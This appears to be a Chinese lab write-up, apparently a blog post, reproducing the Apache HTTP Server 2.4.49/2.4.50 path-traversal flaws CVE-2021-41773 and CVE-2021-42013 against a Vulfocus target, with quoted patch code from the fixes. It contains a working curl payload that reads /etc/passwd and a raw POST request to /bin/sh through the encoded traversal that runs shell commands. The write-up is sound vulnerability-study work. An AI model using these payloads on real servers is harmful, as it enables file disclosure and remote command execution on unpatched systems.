CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现
一、漏洞概述
Apache HTTP Server(简称 Apache)是开源的 Web 服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。它快速、可靠并且可通过简单的 API 扩展,将 Perl/Python 等解释器编译到服务器中。
Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。
——https://blog.csdn.net/qq_48985780/article/details/120973100
- 41773——版本等于2.4.49
- 42013——版本等于2.4.49/50
三、漏洞原理
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境,访问页面
2.使用已经爆出的POC命令尝试查看/etc/passwd中得内容
1 | curl -v --path-as-is http: //192.168.117.131:51212/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd |
3.brup构造如下数据包,并获取flag,完结撒花
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | POST /cgi-bin/.%% 32 % 65 /.%% 32 % 65 /.%% 32 % 65 /.%% 32 % 65 /.%% 32 % 65 /bin/sh HTTP/ 1.1 Host: 192.168 . 117.131 : 51212 Cache-Control: max-age= 0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/ 5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 92.0 . 4515.159 Safari/ 537.36 Accept: text/html,application/xhtml+xml,application/xml;q= 0.9 ,image/avif,image/webp,image/apng,*/*;q= 0.8 ,application/signed-exchange;v=b3;q= 0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q= 0.9 If-None-Match: "29cd-5cde381698600-gzip" If-Modified-Since: Sat, 09 Oct 2021 03 : 58 : 16 GMT Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 13 echo;ls /tmp |
六、修复方式
1)41773——2.4.50版本对ap_normalize_path
函数进行修改,补充了如下代码,对.%2e
的绕过形式进行了判断,可以避免使用该方法绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | if ((path[n] == '.' || (decode_unreserved && path[n] == '%' && path[++n] == '2' && (path[++n] == 'e' || path[n] == 'E' ))) && IS_SLASH_OR_NUL(path[n + 1 ])) { /* Wind w back to remove the previous segment */ if (w > 1 ) { do { w--; } while (w && !IS_SLASH(path[w - 1 ])); } else { /* Already at root, ignore and return a failure * if asked to. */ if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) { ret = 0 ; } } /* Move l forward to the next segment */ l = n + 1 ; if (path[l]) { l++; } continue ; }<br>————https: //xz.aliyun.com/t/10359?page=1 |
2)42013——2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path
函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过,修复代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | while (path[l] != '\0' ) { /* RFC-3986 section 2.3: * For consistency, percent-encoded octets in the ranges of * ALPHA (%41-%5A and %61-%7A), DIGIT (%30-%39), hyphen (%2D), * period (%2E), underscore (%5F), or tilde (%7E) should [...] * be decoded to their corresponding unreserved characters by * URI normalizers. */ if (decode_unreserved && path[l] == '%' ) { if (apr_isxdigit(path[l + 1 ]) && apr_isxdigit(path[l + 2 ])) { const char c = x2c(&path[l + 1 ]); if (TEST_CHAR(c, T_URI_UNRESERVED)) { /* Replace last char and fall through as the current * read position */ l += 2 ; path[l] = c; } } else { /* Invalid encoding */ ret = 0 ; } }————https: //xz.aliyun.com/t/10359?page=1 |
七、Poc
补一个自己写的Poc链接——https://www.cnblogs.com/wavesky/p/16399587.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义